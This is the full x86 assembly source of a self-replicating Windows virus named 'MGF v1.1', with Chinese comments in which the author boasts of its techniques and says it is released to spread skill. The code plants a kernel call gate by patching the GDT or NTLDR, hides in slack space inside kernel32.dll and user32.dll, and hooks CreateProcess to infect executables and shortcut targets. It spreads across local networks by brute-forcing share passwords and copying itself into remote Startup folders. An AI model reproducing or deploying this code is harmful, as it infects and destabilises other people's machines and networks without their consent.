;写毒目的:
;1,崇拜陈盈豪,欲与CIH一比高低;
;2,传播技术,提高国人的水平(如果你把源程序读懂,并跟踪一遍病毒,你的技术会大大提高);
;3,让世界知道中国还是有人的;
;相关技术:
;1,进入RING0:在WIN98用和CIH一样的技术,直接往GDT添加CALLGATE;在WIN 2000/XP/2003里把
; CALLGATE写入NTLDR里,重启后生效(独创技术,这也是WINDOWS 2000/XP/2003的一个漏洞)。
;2,驻留内存:由于所有dll模块装入内存后,在文件头只使用1K空间,还有3K空间剩余,所以本病毒
; 把自身的3K放入kernel32.dll的空隙里,剩下2K放在user32.dll里,但WIN98比较特殊,剩下2K用vxd的
; _PageAllocate分配空间。本毒驻留不靠建立进程和GlobalAlloc内存,而是插入模块的空隙里,因此在
; 任务管理器里是看不到病毒的,更终止不了它在内存感染文件,所以本病毒难杀就难在这里!很多杀毒
; 软件要么找不到本病毒,即使找到了也杀不了或杀不干净,束手无策(独创技术)。
;3,拦截文件操作:为了在WIN98和WIN 2000/XP/2003里通用,采用拦截CreateProcess函数的方法感染PE文
; 件(独创技术)。
;4,局域网传播:用自身的密码生成器破解远程主机的共享密码,成功后把病毒复制到对方的启动文件夹中。
;5,电子邮件传播:呵呵,目前还没有此项功能!
;危害估计:
;1,影响中毒者的正常操作;
;2,由于每运行一个程序就建立一个感染局域网线程,这些线程都用到MPR模块,估计运行几个程序后MPR会
; 崩溃,引起非法操作(找比尔.盖茨去吧,谁叫他给你的MPR不堪负重?);
;3,绝对没有破坏数据,覆盖BIOS,窃取信息资料等恶意行为。
; 俺的技术也在不断提高,也许还有下一个更厉害的病毒哦,呵呵
.586p
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include advapi32.inc
include mpr.inc
includelib kernel32.lib
includelib user32.lib
includelib advapi32.lib
includelib mpr.lib
VirusSize = offset VirusEnd-offset VirusStart
VirusSizeP1 = offset _OtherMemPosition-offset VirusStart ;本毒在内存的感染PE文件部分
VirusSizeP2 = VirusSize-VirusSizeP1 ;本毒的后半部分,不活动
.code
VirusStart:
nop
pushfd
pushad
db 0e8h,0,0,0,0 ;这是一条call命令,在这里相当于push eip
pop ebx ;EBX=EBX指令在内存的实际地址
mov edx,ebx
mov eax,ebx
sub ebx,$-5 ;实际地址-设计地址=地址差=重定位值=EBX
sub edx,8
call _GetModuleAddress ;取得本进程的装载地址
add eax,[eax+3ch]
mov lpOldPE[ebx],eax
sub edx,[eax+28h]
sub edx,[eax+34h]
add VirusExit[ebx],edx ;edx=本进程的重定位值,修正原来程序入口
mov eax,[esp+24h]
call _GetModuleAddress ;取得hKernel32
mov hKernel32[ebx],eax
mov CallGateSel[ebx],103h
call _GetC3Address ;在kernel32.dll模块中查找ret(0xc3)的地址
lea esi,[ebx+FunctionNameTab+8] ;首先取得LoadLibraryA,GetProcAddress,GetVersion的地址
lea edi,FunctionAddressTab[ebx]
mov ecx,3
@@:
lodsd
add eax,ebx
push eax
push hKernel32[ebx]
call _GetProcAddress
stosd
loop @b
call dwGetVersion[ebx]
shr eax,31
mov dwVersion[ebx],eax ;windows 版本放入dwVersion变量,98=1,2000/XP/2003=0
call _IsWindows9x ;如果是WIN98马上往GDT中添加CALLGATE
lea esi,[ebx+FunctionNameTab+4*7]
mov ecx,4
@@:
lodsd
add eax,ebx
.if dwVersion[ebx]
mov byte ptr [eax-2],'A'
.else
mov byte ptr [eax-2],'W'
.endif
loop @b ;处理ANSI/unicode API函数名
call _ProcessImportTab ;导入所有API函数
lea eax,szUser32[ebx]
push eax
call dwLoadLibrary[ebx]
mov hUser32[ebx],eax
xor edx,edx
lar edx,CallGateSel[ebx]
.if dh!=0ech ;如果是第一次感染2000/XP/2003,把CALLGATE写入NTLDR,感染桌面的快捷方式对应的EXE文件,等待重新启动CALLGATE生效
push 4
lea eax,szNtldr[ebx]
push eax
call _EditFile
call _EditLnkFile
.else ;如果是WIN98或内存中有CALLGATE的2000/XP/2003,就进入RING0
dw 9bffh
dd offset CallGateSel-4
mov eax,esp
mov esp,[esp+4] ;切换堆栈
push eax
mov eax,cr0
btr eax,16
mov cr0,eax ;去掉kernel32模块只读内存页的写保护
mov eax,lpOldPE[ebx]
mov edx,dwOldEntry[ebx]
mov [eax+28h],edx
mov edx,dwOldImage[ebx]
mov [eax+50h],edx ;恢复进程的入口和映像大小,避过某些程序的自我保护
mov edi,hKernel32[ebx]
add edi,[edi+3ch]
mov edi,[edi+54h]
add edi,hKernel32[ebx]
mov lpMemPosition1[ebx],edi
lea esi,VirusStart[ebx]
mov ecx,10h
repz cmpsb ;判断病毒是否已经在内存
.if !ZERO? ;not in mem
.if dwVersion[ebx] ;不在内存
push 0fh
push 0
push -1
push 0
push 0
push 0
push 1
push 1
@@:
int 20h ;vxd->_PageAllocate
dd 00010053h
add esp,8*4
lea edi,@b[ebx]
mov word ptr [edi],20cdh
mov dword ptr [edi+2],00010053h
.else
mov eax,hUser32[ebx]
add eax,[eax+3ch]
mov eax,[eax+54h]
add eax,hUser32[ebx] ;2000/XP/2003---》EAX=user32.dll模块的空隙
.endif
mov lpMemPosition2[ebx],eax
mov edi,lpMemPosition1[ebx]
add edi,offset _BeforeAPI-offset VirusStart
mov dword ptr [ebx+szNewCommand+1],edi ;构造跳转入CreateProcess拦截函数的指令
mov esi,dwCreateProcess[ebx]
push esi
lea edi,szOldCommand[ebx]
mov ecx,6
rep movsb ;保存原来CreateProcess函数的前6字节
lea esi,szNewCommand[ebx]
pop edi
mov ecx,6
rep movsb ;把CreateProcess函数的第一条指令改为跳入拦截函数的指令
lea esi,VirusStart[ebx]
mov edi,lpMemPosition1[ebx]
mov ecx,VirusSizeP1
rep movsb ;病毒前3K驻留在kernel32模块
mov edi,eax
mov ecx,VirusSizeP2
rep movsb ;病毒后2K驻留在user32模块或vxd _PageAllocate分到的页中
.endif
pop esp
lea eax,@f[ebx]
push eax
retf ;返回RING3
@@:
.endif
;create thread for net taint
.if dwVersion[ebx] ;创建感染局域网线程
call _MemToFile
lea eax,dwVersion[ebx]
push eax
push 0
push 0
lea eax,_GoLAN[ebx]
push eax
push 0
push 0
call dwCreateThread[ebx]
.endif
enter 32,0 ;判断发作条件
push esp
call dwGetLocalTime[ebx]
mov ax,[esp+2]
mov dl,3
div dl
.if ah==0 && word ptr [esp+4]>=5
push 0
lea eax,szMessageTit[ebx]
push eax
lea eax,szMessageText[ebx]
push eax
push 0
call dwMessageBox[ebx]
.endif
leave
popad
popfd
db 68h
VirusExit:
dd offset @f ;如果病毒在宿主程序,返回原程序入口,把控制权交回给原程序;如果病毒独立运行,
@@: ;第一次RET回到RET指令,再一次RET就回到kernel32.dll模块中,退出病毒进程(高级技巧,不靠ExitProcess)。
ret
hKernel32 dd 0
hUser32 dd 0
szUser32 db 'user32.dll',0
dwC3Address dd 0
dwOldImage dd 3000h
dwOldEntry dd 1000h
lpOldPE dd 0
lpMemPosition1 dd 0
lpMemPosition2 dd 0
dwVersion dd 0
CallGateSel dd 103h
;拦截CreateProcess的前半部分代码,主要判断该不该感染文件,恢复原函数的前6字节以保证CreateProcess
;返回拦截函数的后半部分
_BeforeAPI:
pushfd ;扩展堆栈空间,存放拦截函数后半部分的地址
pushfd ;扩展堆栈空间,CreateProcess的参数前移4字节占用的空间
pushfd ;保存现场
pushad
cld
db 0e8h,0,0,0,0 ;push eip
pop ebx
sub ebx,$-1 ;ebx=重定位值
mov edi,dwCreateProcess[ebx]
mov [esp+24h],edi
lea esi,szOldCommand[ebx]
mov ecx,6
dw 9bffh
dd offset CallGateSel-4
rep movsb ;进入RING0恢复CreateProcess的前6字节
lea eax,@f[ebx]
push eax
retf
@@:
mov eax,lpMemPosition1[ebx]
add eax,offset _BehindAPI-offset VirusStart
xchg eax,[esp+2ch] ;调用CreateProcess函数的代码的返回地址,跟拦截函数后半部的地址交换
lea esi,[esp+2ch]
lea edi,[esp+28h]
mov ecx,11
rep movsd
stosd ;CreateProcess函数的10个参数前移4字节,最终返回地址存入堆栈
mov esi,[esp+28h+4] ;处理EXE文件的路径
.if !esi
mov esi,[esp+28h+4+4]
.endif
enter 100h,0
xor eax,eax
mov ecx,100h
lea edi,[ebp-100h]
rep stosb
xor edx,edx
lea edi,[ebp-100h]
mov ecx,80h
@@:
.if dwVersion[ebx]
lodsb
.if al==0
stosb
mov dl,2
.elseif al==22h
inc edx
.else
stosb
.endif
.else
lodsw
.if ax==0
stosw
mov dl,2
.elseif ax==22h
inc edx
.else
stosw
.endif
.endif
cmp dl,2
loopnz @b
.if dwVersion[ebx]
lea esi,[ebp-100h+2]
.else
lea esi,[ebp-100h+4]
.endif
mov ecx,4
@@:
.if dwVersion[ebx]
lodsb
.else
lodsw
.endif
shrd edx,eax,8
loop @b
and edx,0dfdfdfdfh ;小写转大写
cmp edx,'NIW/'
jz @f
.if !dwVersion[ebx] && edx=='ORP/'
jmp @f
.endif
lea edx,[ebp-100h]
push 1
push edx
call _EditFile ;感染CreateProcess打开的PE文件
@@:
leave
popad
popfd
ret ;回到原CreateProcess继续执行
_BehindAPI: ;CreateProcess返回后将跳到这里,这里负责恢复它的前6字节为跳转指令,跳到拦截函数的前半部分
pushfd
pushad
cld
db 0e8h,0,0,0,0
pop ebx
sub ebx,$-1
mov edi,dwCreateProcess[ebx]
lea esi,szNewCommand[ebx]
mov ecx,6
dw 9bffh
dd offset CallGateSel-4
rep movsb
lea eax,@f[ebx]
push eax
retf
@@:
popad
popfd
ret ;这里真正返回调用CreateProcess的地址
szOldCommand db 6 dup(0)
szNewCommand db 68h,0,0,0,0,0c3h
db 0
;感染PE文件的子程序
;_dwFlag-----bit 0:0=ntldr, 1=PE;bit 1:0=mem, 1=file;bit 2:0=auto(ansi/unicode), 1=ansi
_EditFile proc _lpFileName,_dwFlag
local @hFile
local @hFileMap
local @lpFileMap
local @dwFileSize
local @dwFileAttributes
local @stFileTime1:FILETIME
local @stFileTime2:FILETIME
local @stFileTime3:FILETIME
pushad
push _lpFileName
bt _dwFlag,2
.if CARRY?
call dwGetFileAttributesA[ebx]
.else
call dwGetFileAttributes[ebx]
.endif
;invoke GetFileAttributes,_lpFileName
.if eax!=-1
mov @dwFileAttributes,eax
push 80h
push _lpFileName
bt _dwFlag,2
.if CARRY?
call dwSetFileAttributesA[ebx]
.else
call dwSetFileAttributes[ebx]
.endif
;invoke SetFileAttributes,_lpFileName,80h
push 0
push 80h
push 3
push 0
push 3
push 0c0000000h
push _lpFileName
bt _dwFlag,2
.if CARRY?
call dwCreateFileA[ebx]
.else
call dwCreateFile[ebx]
.endif
;invoke CreateFile,_lpFileName,0c0000000h,0,0,3,80h,0
.if eax!=0ffffffffh
mov @hFile,eax
push eax
call dwGetFileType[ebx]
.if eax==FILE_TYPE_DISK
push 0
push @hFile
call dwGetFileSize[ebx]
;invoke GetFileSize,@hFile,0
mov @dwFileSize,eax
lea eax,@stFileTime3
push eax
lea eax,@stFileTime2
push eax
lea eax,@stFileTime1
push eax
push @hFile
call dwGetFileTime[ebx]
;invoke GetFileTime,@hFile,addr @stFileTime1,addr @stFileTime2,addr @stFileTime3
push 0
push 0
push 0
push 4
push 0
push @hFile
call dwCreateFileMapping[ebx]
;invoke CreateFileMapping,@hFile,0,4,0,eax,0
.if eax
mov @hFileMap,eax
push 0
push 0
push 0
push 6
push eax
call dwMapViewOfFile[ebx]
;invoke MapViewOfFile,eax,6,0,0,0
.if eax
mov @lpFileMap,eax
bt _dwFlag,0
.if CARRY?
.if word ptr [eax]=='ZM'
.if dword ptr [eax+20h]!='FGM'
add eax,[eax+3ch]
.if dword ptr [eax]=='EP'
bt dword ptr [eax+16h],13
.if !CARRY?
push @lpFileMap
call dwUnmapViewOfFile[ebx]
push @hFileMap
call dwCloseHandle[ebx]
mov eax,@dwFileSize
add eax,VirusSize ;如果是满足条件的PE文件,文件大小扩展VirusSize字节
push 0
push eax
push 0
push 4
push 0
push @hFile
call dwCreateFileMapping[ebx]
mov @hFileMap,eax
push 0
push 0
push 0
push 6
push eax
call dwMapViewOfFile[ebx]
mov @lpFileMap,eax
add eax,[eax+3ch]
movzx ecx,word ptr [eax+6]
dec ecx
xchg eax,ecx
mov edx,28h
mul edx
xchg eax,ecx
movzx edx,word ptr [eax+14h]
add edx,18h
add edx,eax
add edx,ecx ;定位在最后一个节
mov edi,@lpFileMap
add edi,@dwFileSize
bt _dwFlag,1
.if CARRY?
lea esi,VirusStart[ebx]
mov ecx,VirusSize
pushad
rep movsb
popad
.else
mov esi,lpMemPosition1[ebx]
mov ecx,VirusSizeP1
pushad
rep movsb
.if dwVersion[ebx]
mov esi,lpMemPosition2[ebx]
.else
lea eax,szUser32[ebx]
push eax
call dwLoadLibrary[ebx]
mov esi,eax
add esi,[esi+3ch]
mov esi,[esi+54h]
add esi,eax
.endif
mov ecx,VirusSizeP2
rep movsb
popad
.endif ;把病毒代码写入文件
mov ecx,@dwFileSize
add ecx,VirusSize
sub ecx,[edx+14h]
mov [edx+8],ecx
mov [edx+10h],ecx
mov dword ptr [edx+24h],0e00000e0h
mov ecx,[eax+50h]
mov esi,offset dwOldImage-offset VirusStart
mov [edi+esi],ecx
mov ecx,[eax+28h]
mov esi,offset dwOldEntry-offset VirusStart
mov [edi+esi],ecx
add ecx,[eax+34h]
mov esi,offset VirusExit-offset VirusStart
mov [edi+esi],ecx
sub edi,@lpFileMap
sub edi,[edx+14h]
add edi,[edx+12]
mov [eax+28h],edi
mov ecx,[edx+12]
add ecx,[edx+8]
and cx,0f000h
add ecx,1000h
mov [eax+50h],ecx
mov ecx,@lpFileMap
mov dword ptr [ecx+20h],'FGM' ;修改PE文件头和写已感染标志MGF
.endif;'DLL'
.endif;'EP'
.endif;! 'FGM'
.endif;'ZM'
.else;_dwFlag ;如果是NTLDR文件,写入CALLGATE
lea esi,szGdtData[ebx]
mov edi,@lpFileMap
mov ecx,@dwFileSize
@@:
inc edi
push esi
push edi
push ecx
mov ecx,10h
repz cmpsb
pop ecx
pop edi
pop esi
loopnz @b
.if ZERO?
xor eax,eax
mov ecx,80h
@@:
sub edi,8
push edi
push ecx
mov ecx,8
repz scasb
pop ecx
pop edi
loopnz @b
.if ZERO?
add edi,100h
lea esi,szCallGate[ebx]
mov ecx,10h
rep movsb
mov edx,dwC3Address[ebx]
mov word ptr [edi-16],dx
shr edx,16
mov word ptr [edi-10],dx
.endif
.endif
.endif;_dwFlag
push @lpFileMap
call dwUnmapViewOfFile[ebx]
;invoke UnmapViewOfFile,@lpFileMap
.endif
push @hFileMap
call dwCloseHandle[ebx]
;invoke CloseHandle,@hFileMap
.endif
lea eax,@stFileTime3
push eax
lea eax,@stFileTime2
push eax
lea eax,@stFileTime1
push eax
push @hFile
call dwSetFileTime[ebx]
;invoke SetFileTime,@hFile,addr @stFileTime1,addr @stFileTime2,addr @stFileTime3
.endif
push @hFile
call dwCloseHandle[ebx]
;invoke CloseHandle,@hFile
.endif
push @dwFileAttributes
push _lpFileName
bt _dwFlag,2
.if CARRY?
call dwSetFileAttributesA[ebx]
.else
call dwSetFileAttributes[ebx]
.endif
;call dwSetFileAttributes[ebx]
;invoke SetFileAttributes,_lpFileName,@dwFileAttributes
.endif
popad
ret
_EditFile endp
szGdtData dw 0ffffh,0000,9a00h,00cfh,0ffffh,0000,9200h,00cfh
szCallGate dw 0000,0108h,0ec00h,0000,0ffffh,0000,9a00h,00cfh
szNtldr db 'c:/ntldr',0
;自身的GetProcAddress函数,用法和kernel32.dll的GetProcAddress一样
_GetProcAddress proc uses ecx esi edi,_hModule,_lpszProcName
local @dwSize
mov edx,_hModule
add edx,[edx+3ch]
mov edx,[edx+78h]
add edx,_hModule
mov ecx,[edx+18h]
mov esi,[edx+20h]
mov edi,_lpszProcName
push edi
push ecx
xor eax,eax
mov ecx,0ffffffffh
repnz scasb
not ecx
dec ecx
mov @dwSize,ecx ;计算函数名的长度
pop ecx
pop edi
add esi,_hModule
@@:
push edi
push ecx
mov ecx,@dwSize
lodsd
add eax,_hModule
xchg eax,esi
repz cmpsb
xchg eax,esi
pop ecx
pop edi
loopnz @b
.if !ZERO?
xor eax,eax
ret
.endif
sub esi,_hModule
sub esi,4
sub esi,[edx+20h]
shr esi,1
add esi,[edx+24h]
add esi,_hModule
lodsd
movzx eax,ax
shl eax,2
add eax,[edx+1ch]
add eax,_hModule
mov edx,[eax]
add edx,_hModule
xchg edx,eax
ret
_GetProcAddress endp
;感染局域网的线程
_GoLAN proc lParam
local @hEnum
local @dwcCount
local @szResourceName[32]:byte
local @szBuffer[0c00h]:byte
pushad
db 0e8h,0,0,0,0
pop ebx
sub ebx,$-1
lea eax,@hEnum
push eax
push 0
push 13h
push 0
push 5
call dwWNetOpenEnum[ebx]
.if !eax
.repeat
mov @dwcCount,-1
lea eax,dwBufferSize[ebx]
push eax
lea eax,@szBuffer
push eax
lea eax,@dwcCount
push eax
push @hEnum
call dwWNetEnumResource[ebx]
cmp dword ptr [@szBuffer+14h],0
jnz @f
.until eax
push @hEnum
call dwWNetCloseEnum[ebx]
.endif
jmp _GoLANexit
@@:
push @hEnum
call dwWNetCloseEnum[ebx]
lea edi,@szBuffer
_NextPC:
push edi
mov esi,[edi+14h]
lea edi,@szResourceName
@@:
lodsb
stosb
or al,al
jnz @b
mov dword ptr [edi-1],'C/'
pop edi
xor eax,eax
mov dwPassword[ebx],eax
@@:
lea edx,szLocalDrive[ebx]
push edx
push eax
lea edx,@szResourceName
push edx
call dwWNetAddConnection[ebx]
.if eax==56h
call _GenPassWord
cmp dwPassword[ebx],0
jnz @b
.elseif !eax
push 0
lea eax,szDFile[ebx]
push eax
lea eax,szSFile[ebx]
push eax
call dwCopyFile[ebx] ;如果找到可写共享,感染
mov esi,eax
push 1
lea eax,szLocalDrive[ebx]
push eax
call dwWNetCancelConnection[ebx]
call _GenPassWord
or esi,esi
jz @b
.endif
add edi,20h
dec @dwcCount
jnz _NextPC
_GoLANexit:
popad
ret
_GoLAN endp
szMemToFileName db 'UnBlaster.exe',0
szSFile db 'c:/windows/system/UnBlaster.exe',0
szDFile db 'X:/WINDOWS/All Users/Start Menu/Programs/启动/UnBlaster.exe',0
dwPassword dd 0
dd 0,0
szPassword db 0
szLocalDrive db 'x:',0
dwBufferSize dd 0c00h
_GenPassWord: ;生成密码的子程序,密码包括1234567890!@#$%^字符
std
pushad
lea edi,[ebx+szPassword-1]
xor edx,edx
mov eax,dwPassword[ebx]
mov ecx,16
@@:
div ecx
xchg eax,edx
.if al<=5
add al,21h
.else ;if al>=6 && al<=15
add al,2ah
.endif
stosb
xor eax,eax
xchg eax,edx
or eax,eax
jnz @b
inc edi
inc dwPassword[ebx]
mov [esp+20h-4],edi
popad
cld
ret
_MemToFile proc ;还原病毒自身的子程序
local @hFile
local @hFileMap
local @lpFileMap
local @lpSystemDir[40h]:byte
push 40h
lea edi,@lpSystemDir
push edi
call dwGetSystemDirectory[ebx]
;invoke GetSystemDirectory,addr @lpSystemDir,100h
add edi,eax
mov al,'/'
stosb
lea esi,szMemToFileName[ebx]
mov ecx,16
rep movsb
push 0
push 80h
push 2
push 0
push 0
push 0c0000000h
lea eax,@lpSystemDir
push eax
call dwCreateFileA[ebx]
;invoke CreateFile,addr @lpSystemDir,0c0000000h,0,0,2,80h,0
.if eax!=0ffffffffh
mov @hFile,eax
mov edx,VirusSize
add edx,200h
push 0
push edx
push 0
push 4
push 0
push eax
call dwCreateFileMapping[ebx]
;invoke CreateFileMapping,eax,0,4,0,edx,0
.if eax
mov @hFileMap,eax
push 0
push 0
push 0
push 6
push eax
call dwMapViewOfFile[ebx]
;invoke MapViewOfFile,eax,6,0,0,0
.if eax
mov @lpFileMap,eax
mov edi,eax
mov esi,hKernel32[ebx]
mov ecx,0a8h
rep movsb ;用KERNEL32的DOS头
mov dword ptr [eax+3ch],0a8h
mov dword ptr [eax+20h],'FGM'
lea esi,FileHead[ebx]
mov ecx,120h
rep movsb ;原PE头
xor eax,eax
mov ecx,38h
rep stosb
lea esi,VirusStart[ebx]
mov ecx,VirusSize
push edi
rep movsb ;病毒代码
pop edi
mov esi,offset VirusExit-offset VirusStart
mov dword ptr [edi+esi],offset VirusExit+4
push @lpFileMap
call dwUnmapViewOfFile[ebx]
;invoke UnmapViewOfFile,@lpFileMap
.endif
push @hFileMap
call dwCloseHandle[ebx]
;invoke CloseHandle,@hFileMap
.endif
push @hFile
call dwCloseHandle[ebx]
;invoke CloseHandle,@hFile
.endif
ret
_MemToFile endp
_ProcessImportTab: ;手工处理导入函数
lea esi,FunctionNameTab[ebx]
lea edi,FunctionAddressTab[ebx]
@@:
lodsd
.if eax==0ffffffffh
lodsd
add eax,ebx
push eax
call dwLoadLibrary[ebx]
mov ecx,eax
.elseif eax
add eax,ebx
push ecx
push eax
push ecx
call dwGetProcAddress[ebx]
stosd
pop ecx
.endif
or eax,eax
jnz @b
ret
_IsWindows9x: ;往WIN98的GDT添加CALLGATE的子程序
.if !ZERO? ;win9x
xor ecx,ecx
push ecx
push cx
sgdt fword ptr [esp]
pop cx
pop edi
sub ecx,8
and cl,0f8h
or cl,3
mov CallGateSel[ebx],ecx
xor edx,edx
lar edx,ecx
.if dh!=0ech
and cl,0f8h
mov edx,dwC3Address[ebx]
mov word ptr [edi+ecx],dx
shr edx,16
mov word ptr [edi+ecx+6],dx
mov dword ptr [edi+ecx+2],0ec000028h
.endif
.endif
ret
_GetModuleAddress:
@@:
and ax,0f000h
sub eax,1000h
cmp word ptr [eax],'ZM'
jnz @b
mov ecx,eax
add ecx,[ecx+3ch]
cmp dword ptr [ecx],'EP'
jnz @b
ret
_GetC3Address:
mov edi,hKernel32[ebx]
add edi,1000h
mov ecx,20000h
mov al,0c3h
cld
repnz scasb
dec edi
mov dwC3Address[ebx],edi
ret
FunctionAddressTab:
dwLoadLibrary dd 0
dwGetProcAddress dd 0
dwGetVersion dd 0
dwCloseHandle dd 0
dwCreateProcess dd 0
dwCreateFile dd 0
dwGetFileAttributes dd 0
dwSetFileAttributes dd 0
dwCreateFileA dd 0
dwGetFileAttributesA dd 0
dwSetFileAttributesA dd 0
dwGetSystemDirectory dd 0
dwCreateFileMapping dd 0
dwCreateThread dd 0
dwGetFileSize dd 0
dwGetFileTime dd 0
dwSetFileTime dd 0
dwGetFileType dd 0
dwGetLocalTime dd 0
dwCopyFile dd 0
dwMapViewOfFile dd 0
dwUnmapViewOfFile dd 0
dwFindFirstFile dd 0
dwFindNextFile dd 0
dwFindClose dd 0
dwMessageBox dd 0
dwRegCloseKey dd 0
dwRegCreateKeyEx dd 0
dwRegOpenKeyEx dd 0
dwRegQueryValueEx dd 0
dwRegSetValueEx dd 0
dwWNetAddConnection dd 0
dwWNetCancelConnection dd 0
dwWNetCloseEnum dd 0
dwWNetEnumResource dd 0
dwWNetOpenEnum dd 0
_OtherMemPosition: ;驻留在别处的后半部2K
FunctionNameTab:
dd 0ffffffffh
dd offset szKernel32
dd offset szLoadLibraryA
dd offset szGetProcAddress
dd offset szGetVersion
dd offset szCloseHandle
dd offset szCreateProcess
dd offset szCreateFile
dd offset szGetFileAttributes
dd offset szSetFileAttributes
dd offset szCreateFileA
dd offset szGetFileAttributesA
dd offset szSetFileAttributesA
dd offset szGetSystemDirectoryA
dd offset szCreateFileMappingA
dd offset szCreateThread
dd offset szGetFileSize
dd offset szGetFileTime
dd offset szSetFileTime
dd offset szGetFileType
dd offset szGetLocalTime
dd offset szCopyFileA
dd offset szMapViewOfFile
dd offset szUnmapViewOfFile
dd offset szFindFirstFileA
dd offset szFindNextFileA
dd offset szFindClose
dd 0ffffffffh
dd offset szUser32
dd offset szMessageBoxA
dd 0ffffffffh
dd offset szADVAPI32
dd offset szRegCloseKey
dd offset szRegCreateKeyExA
dd offset szRegOpenKeyExA
dd offset szRegQueryValueExA
dd offset szRegSetValueExA
dd 0ffffffffh
dd offset szMPR
dd offset szWNetAddConnectionA
dd offset szWNetCancelConnectionA
dd offset szWNetCloseEnum
dd offset szWNetEnumResourceA
dd offset szWNetOpenEnumA
dd 0
szKernel32 db 'kernel32.dll',0
szLoadLibraryA db 'LoadLibraryA',0
szGetProcAddress db 'GetProcAddress',0
szGetVersion db 'GetVersion',0
szCloseHandle db 'CloseHandle',0
szCreateProcess db 'CreateProcessW',0
szCreateFile db 'CreateFileW',0
szGetFileAttributes db 'GetFileAttributesW',0
szSetFileAttributes db 'SetFileAttributesW',0
szCreateFileA db 'CreateFileA',0
szGetFileAttributesA db 'GetFileAttributesA',0
szSetFileAttributesA db 'SetFileAttributesA',0
szGetSystemDirectoryA db 'GetSystemDirectoryA',0
szCreateFileMappingA db 'CreateFileMappingA',0
szCreateThread db 'CreateThread',0
szGetFileSize db 'GetFileSize',0
szGetFileTime db 'GetFileTime',0
szSetFileTime db 'SetFileTime',0
szGetFileType db 'GetFileType',0
szGetLocalTime db 'GetLocalTime',0
szCopyFileA db 'CopyFileA',0
szMapViewOfFile db 'MapViewOfFile',0
szUnmapViewOfFile db 'UnmapViewOfFile',0
szFindFirstFileA db 'FindFirstFileA',0
szFindNextFileA db 'FindNextFileA',0
szFindClose db 'FindClose',0
;szUSER32 db 'USER32.dll',0
szMessageBoxA db 'MessageBoxA',0
szADVAPI32 db 'ADVAPI32.dll',0
szRegCloseKey db 'RegCloseKey',0
szRegCreateKeyExA db 'RegCreateKeyExA',0
szRegOpenKeyExA db 'RegOpenKeyExA',0
szRegQueryValueExA db 'RegQueryValueExA',0
szRegSetValueExA db 'RegSetValueExA',0
szMPR db 'MPR.dll',0
szWNetAddConnectionA db 'WNetAddConnectionA',0
szWNetCancelConnectionA db 'WNetCancelConnectionA',0
szWNetCloseEnum db 'WNetCloseEnum',0
szWNetEnumResourceA db 'WNetEnumResourceA',0
szWNetOpenEnumA db 'WNetOpenEnumA',0
_EditLnkFile proc ;感染桌面快捷方式的子程序
local @hFile
local @hFileMap
local @lpFileMap
local @hFindFile
local @dwFileSize
local @dwBufferSize
local @lpBuffer[80h]:byte
local @stWin32FindData:WIN32_FIND_DATA
pushad
lea eax,@hFile
push eax
push 1
push 0
lea eax,szRegKeyDesktop[ebx]
push eax
push 80000001h
call dwRegOpenKeyEx[ebx]
.if !eax
mov @dwBufferSize,80h
lea eax,@dwBufferSize
push eax
lea eax,@lpBuffer
push eax
push 0
push 0
lea eax,szDesktopValue[ebx]
push eax
push @hFile
call dwRegQueryValueEx[ebx]
push @hFile
call dwRegCloseKey[ebx]
dec @dwBufferSize
lea edi,@lpBuffer
add edi,@dwBufferSize
.if byte ptr [edi-1]!='/'
mov al,'/'
stosb
inc @dwBufferSize
.endif
mov eax,'nl.*'
stosd
mov eax,'k'
stosd
lea eax,@stWin32FindData
push eax
lea eax,@lpBuffer
push eax
call dwFindFirstFile[ebx] ;查找第一个lnk文件
;invoke FindFirstFile,addr @lpBuffer,addr @stWin32FindData
.if eax!=INVALID_HANDLE_VALUE
mov @hFindFile,eax
.repeat
mov eax,dword ptr [@stWin32FindData+20h]
mov @dwFileSize,eax
mov ecx,@dwBufferSize
lea edi,@stWin32FindData+2ch
sub edi,ecx
lea esi,@lpBuffer
push edi
rep movsb
pop edi
push 0
push 80h
push 3
push 0
push 1
push 80000000h
push edi
call dwCreateFileA[ebx]
;invoke CreateFile,edi,80000000h,1,0,3,80h,0
.if eax!=0ffffffffh
mov @hFile,eax
push 0
push 0
push 0
push 2
push 0
push eax
call dwCreateFileMapping[ebx]
;invoke CreateFileMapping,eax,0,2,0,0,0
.if eax
mov @hFileMap,eax
push 0
push 0
push 0
push 4
push eax
call dwMapViewOfFile[ebx]
;invoke MapViewOfFile,eax,4,0,0,0
.if eax
mov @lpFileMap,eax
lea esi,[eax+65h]
mov edi,esi
mov ecx,@dwFileSize
sub ecx,66h
@@:
inc edi
push esi
push edi
push ecx
mov ecx,3
repz cmpsb ;复制*.lnk文件里的EXE文件的路径
pop ecx
pop edi
pop esi
loopnz @b
.if ZERO? && byte ptr [edi+3]
mov esi,edi
sub edi,@lpFileMap
mov ecx,@dwFileSize
sub ecx,edi
lea edi,@stWin32FindData
push edi
@@:
lodsb
stosb
or al,al
loopnz @b
pop edi
mov eax,[edi+2]
and eax,0dfdfdfdfh
.if eax=='NIW/'
xor edi,edi
.else
.if !dwVersion[ebx] && eax=='ORP/'
xor edi,edi
.endif
.endif
.else
xor edi,edi
.endif
push @lpFileMap
call dwUnmapViewOfFile[ebx]
;invoke UnmapViewOfFile,@lpFileMap
.endif
push @hFileMap
call dwCloseHandle[ebx]
;invoke CloseHandle,@hFileMap
.endif
push @hFile
call dwCloseHandle[ebx]
;invoke CloseHandle,@hFile
.endif
.if edi
push 7
push edi
call _EditFile ;符合条件,感染
.endif
lea eax,@stWin32FindData
push eax
push @hFindFile
call dwFindNextFile[ebx] ;继续搜索lnk文件
;invoke FindNextFile,@hFindFile,addr @stWin32FindData
.until eax==0
push @hFindFile
call dwFindClose[ebx]
;invoke FindClose,@hFindFile
.endif
.endif
popad
ret
_EditLnkFile endp
szRegKeyDesktop db 'Software/Microsoft/Windows/CurrentVersion/Explorer/Shell Folders',0
szDesktopValue db 'Desktop',0
szMessageTit db '莫国防的技术使者之宣言',0
szMessageText db '本使者为传播技术而来,已在这里安营扎寨。我无破坏力,你不必担心!',13,10
db '致我的偶像比尔.盖茨:你的几个傻瓜手下,轻视我的漏洞报告,你该打他们的PP!',0
szVer db 'Name: MGF v1.1',0
address db '(C) NN.CN (P) 2003-10-08',0
email db '[email protected]',0
FileHead db 120h dup(255) ;病毒PE头,恢复病毒时用,需要手工填入,这里仅预留空间
ImportDirItem: ;导入表,没有它2000/XP/2003拒绝装入执行,必须
dd offset FirstThunk0-400000h
dd 0
dd 0
dd offset szKernel32-400000h
dd offset FirstThunk1-400000h
dd 5 dup(0)
